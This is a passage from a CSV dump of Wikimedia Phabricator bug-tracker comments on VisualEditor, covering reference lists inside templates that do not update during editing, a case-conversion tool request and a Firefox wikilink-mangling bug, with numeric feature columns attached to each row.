No :P",,,1383332239,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4615384615384617,1.0,"(In reply to comment #4)
QUOTE

No :P"
236104,VisualEditor: VisualEditor needs easter eggs,Articles mysteriously being littered with ♙ and ☃ doesn't count? :-),,,1383324321,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,1.0,Articles mysteriously being littered with ♙ and ☃ doesn't count? :-)
236099,VisualEditor: VisualEditor needs easter eggs,,,,1373035563,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
236089,VisualEditor: VisualEditor needs easter eggs,"Maybe it already has them, and we're just not cool enough to know...",,,1373035520,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,31.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.5,1.0,"Maybe it already has them, and we're just not cool enough to know..."
236083,VisualEditor: VisualEditor needs easter eggs,Maybe you're just not looking hard enough,,,1373035486,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.375,1.0,Maybe you're just not looking hard enough
52769,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"When you add a new citation in VE, templates which wrap the `<references />` tag do not update to display it until the page is saved. Examples include [[https://en.wikipedia.org/wiki/Template:Reflist|`{{reflist}}`]] on the English Wikipedia and [[https://es.wikipedia.org/wiki/Plantilla:Listaref|`{{listaref}}`]] on the Spanish Wikipedia. This bug doesn't block any of the core citation workflows (creating, editing, and reusing) since those are accessed from the toolbar and the in-text reference numbers, but it's still very annoying. 

However, it remains unfixed because it's an //extraordinarily// hard technical challenge, verging on impossible given the current architecture of Mediawiki. No one has any idea what a workable solution would look like. Just to give one facet of the problem, you could implement this in VE right now //if// you completely re-parsed the entire page every time the user touched a template or a reference—which would be a //horrible// user experience and place //insane// loads on the servers. It's possible that in the future, someone will think up a brilliant solution that avoids all these huge issues, so this task remains open.

In the meantime, the planned solution is to update the `<references />` tag, which does update properly during editing, to support multiple columns and alternative list styles so they have all the functionality of these templates (T53260). When that task has been completed, communities will be able to replace the templates with references tags at whatever pace and with whatever tools they prefer (if there's demand for it, it would probably be possible to do a more immediate, bot-driven changeover).
",Lowest,10.0,1372969200,1518792292.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-kloqgpjwhtcokmj7eica,task_description,resolved,True,c1,3,False,False,False,0,,1.6666666666666667,0.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,6.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,11.666666666666666,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,7.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,1.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,16.666666666666668,0.3333333333333333,2.0,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,8.666666666666666,2.3333333333333335,7.0,2.6666666666666665,2.6666666666666665,14.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,4.0,11.666666666666666,3.3333333333333335,0.0,0.0,0.0,4.0,0.0,3.0,2.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,4.266666666666667,0.75,"When you add a new citation in VE, templates which wrap the CODE tag do not update to display it until the page is saved. Examples include [[URL on the English Wikipedia and [[URL on the Spanish Wikipedia. This bug doesn't block any of the core citation workflows (creating, editing, and reusing) since those are accessed from the toolbar and the in-text reference numbers, but it's still very annoying. 

However, it remains unfixed because it's an //extraordinarily// hard technical challenge, verging on impossible given the current architecture of Mediawiki. No one has any idea what a workable solution would look like. Just to give one facet of the problem, you could implement this in VE right now //if// you completely re-parsed the entire page every time the user touched a template or a reference—which would be a //horrible// user experience and place //insane// loads on the servers. It's possible that in the future, someone will think up a brilliant solution that avoids all these huge issues, so this task remains open.

In the meantime, the planned solution is to update the CODE tag, which does update properly during editing, to support multiple columns and alternative list styles so they have all the functionality of these templates (T53260). When that task has been completed, communities will be able to replace the templates with references tags at whatever pace and with whatever tools they prefer (if there's demand for it, it would probably be possible to do a more immediate, bot-driven changeover).
"
1014180,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Thank you.
",,,1518731537,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,"Thank you.
"
1014122,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Thanks, I've filed T187495.",,,1518726539,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,"Thanks, I've filed T187495."
1013823,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,">>! In T52769#3975407, @Esanders wrote:
> Can you link to an example?
Sure:
https://he.wikipedia.org/wiki/%D7%90%D7%93%D7%99_%D7%A7%D7%91%D7%98%D7%A0%D7%A8?veaction=edit&uselang=en",,,1518706913,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,0.625,"QUOTE
QUOTE
Sure:
URL"
1013764,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,Can you link to an example?,,,1518702862,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,Can you link to an example?
1013480,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Hi. Our wiki does not show any references in reflists at all in VE now, the list is empty. All of them are created by reference template, rather than by tag. I was not sure it's new indeed, because I do not use VE, but people say it wasn't like this before.
",,,1518653027,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,5.0,0.0,0.0,2.0,6.0,5.0,5.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,16.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,10.0,14.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.7777777777777778,"Hi. Our wiki does not show any references in reflists at all in VE now, the list is empty. All of them are created by reference template, rather than by tag. I was not sure it's new indeed, because I do not use VE, but people say it wasn't like this before.
"
1009376,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Change 408604 **merged** by jenkins-bot:
[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones

[[https://gerrit.wikimedia.org/r/408604]]",,,1518112687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,240,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.8285714285714287,0.7428571428571429,"Change 408604 **merged** by jenkins-bot:
[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones

[[GERRIT_URL]]"
1007898,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Change 408604 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones

[[https://gerrit.wikimedia.org/r/408604]]",,,1517948195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,240,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,4.230769230769231,0.8461538461538461,"Change 408604 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones

[[GERRIT_URL]]"
686070,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,">>! In T52769#541738, @Jdforrester-WMF wrote:
> Note that we can't currently see a way to do this without round-tripping the entire page, which would be a sub-optimal solution, to put it mildly.

So, if <references/> directly on the page are supposed to work (they're updated on edit) but when they're inside a template not, it should be possible to make parsoid tag the template with a special property so only that template region gets updated (or the references list) and not the entire page. Note that I'm speaking without knowledge about how the entire thing works.",,,1467209234,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,156,,0.0,0.0,0.0,1.0,2.0,6.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,10.0,12.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,20.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,6.0,5.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,4.0,0.7407407407407407,"QUOTE
QUOTE

So, if <references/> directly on the page are supposed to work (they're updated on edit) but when they're inside a template not, it should be possible to make parsoid tag the template with a special property so only that template region gets updated (or the references list) and not the entire page. Note that I'm speaking without knowledge about how the entire thing works."
233952,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"So to clarify, it is a known bug that adding references will display the updated reference list when the <references /> tag is used in the article, but not when the {{reflist}} template is used?",,,1405248457,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,11.0,7.0,2.0,7.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,3.6363636363636362,0.75,"So to clarify, it is a known bug that adding references will display the updated reference list when the <references /> tag is used in the article, but not when the {{reflist}} template is used?"
233943,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,*** Bug 51607 has been marked as a duplicate of this bug. ***,,,1374167787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51607 has been marked as a duplicate of this bug. ***
233936,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"(In reply to comment #0)
> What it says on the tin; the addition of a reference is not reflected in an
> update to {{reflist}} or <references/> or whathaveyou.

I can't replicate the bug as described, but re-purposing to be about our desire to update fake reference lists inside templates on edit, rather than the current unhelpful not-updated-'til-page-save issue.

Note that we can't currently see a way to do this without round-tripping the entire page, which would be a sub-optimal solution, to put it mildly.",,,1373163815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,0.0,3.0,0.0,7.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,1.0,1.0,8.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.688888888888889,0.7444444444444445,"(In reply to comment #0)
QUOTE
QUOTE

I can't replicate the bug as described, but re-purposing to be about our desire to update fake reference lists inside templates on edit, rather than the current unhelpful not-updated-'til-page-save issue.

Note that we can't currently see a way to do this without round-tripping the entire page, which would be a sub-optimal solution, to put it mildly."
52745,VisualEditor: Editing tool to changing case,"A user has requested a tool to alter the case of text that has been typed. Marking as lowest priority, since we've made clear it's not something anyone is likely to work on any time soon.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T55210}
{T52678}
{T55495}
{T52452}",Lowest,10.0,1372943460,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-w4y2nb4727kwbhfjqdup,task_description,open,True,c1,3,False,False,,0,,1.0,2.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,12.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,1.0,3.3493975903614457,0.6626506024096386,"A user has requested a tool to alter the case of text that has been typed. Marking as lowest priority, since we've made clear it's not something anyone is likely to work on any time soon.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T55210}
{T52678}
{T55495}
{T52452}"
1907394,VisualEditor: Editing tool to changing case,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2022/Editing/Case_conversion,,,1651251693,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-w4y2nb4727kwbhfjqdup,task_subcomment,,True,c1,3,True,,,460,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
52720,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Occasionally wiki links are being mangled adding ./ to the start and replacing spaces with underscores. For example replacing [[specific name (zoology)|specific epithet]] with [[./Specific_name_(zoology)|specific epithet]]. I've only noticed it with piped links.

Examples

https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009
https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771
https://en.wikipedia.org/w/index.php?title=Sibling_relationship&curid=22409572&diff=562636237&oldid=561958868
https://en.wikipedia.org/w/index.php?title=Double_Rainbow_(viral_video)&curid=28129724&diff=562626607&oldid=560477885
https://en.wikipedia.org/w/index.php?title=Roger_Mompesson&curid=39389398&diff=562625481&oldid=560045122 (also changed a category link)

possibly related to bug 50428

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50539
https://bugzilla.wikimedia.org/show_bug.cgi?id=48769",Lowest,10.0,1372919760,1464692505.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-tyu752voayr4g6elcmgx,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,3.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,1.0,12.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.5,5.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,2.0,4.011764705882353,0.6027450980392157,"Occasionally wiki links are being mangled adding ./ to the start and replacing spaces with underscores. For example replacing [[specific name (zoology)|specific epithet]] with [[./Specific_name_(zoology)|specific epithet]]. I've only noticed it with piped links.

Examples

URL
URL
URL
URL
URL (also changed a category link)

possibly related to bug 50428

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL"
671393,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Can no longer reproduce the test case given by Erik in FF13/14. Edited the link directly to avoid SelSer.

https://en.wikipedia.org/wiki/HELLP_syndrome?veaction=edit&vewhitelist=1

{F4089820}",,,1464692505,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,152,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,26.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.8888888888888888,"Can no longer reproduce the test case given by Erik in FF13/14. Edited the link directly to avoid SelSer.

URL

{F4089820}"
637784,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",">>! In T52720#2164275, @Schnark wrote:
> Should this task just be closed? I don't think anyone is going to put work into supporting  these really old Firefox versions.

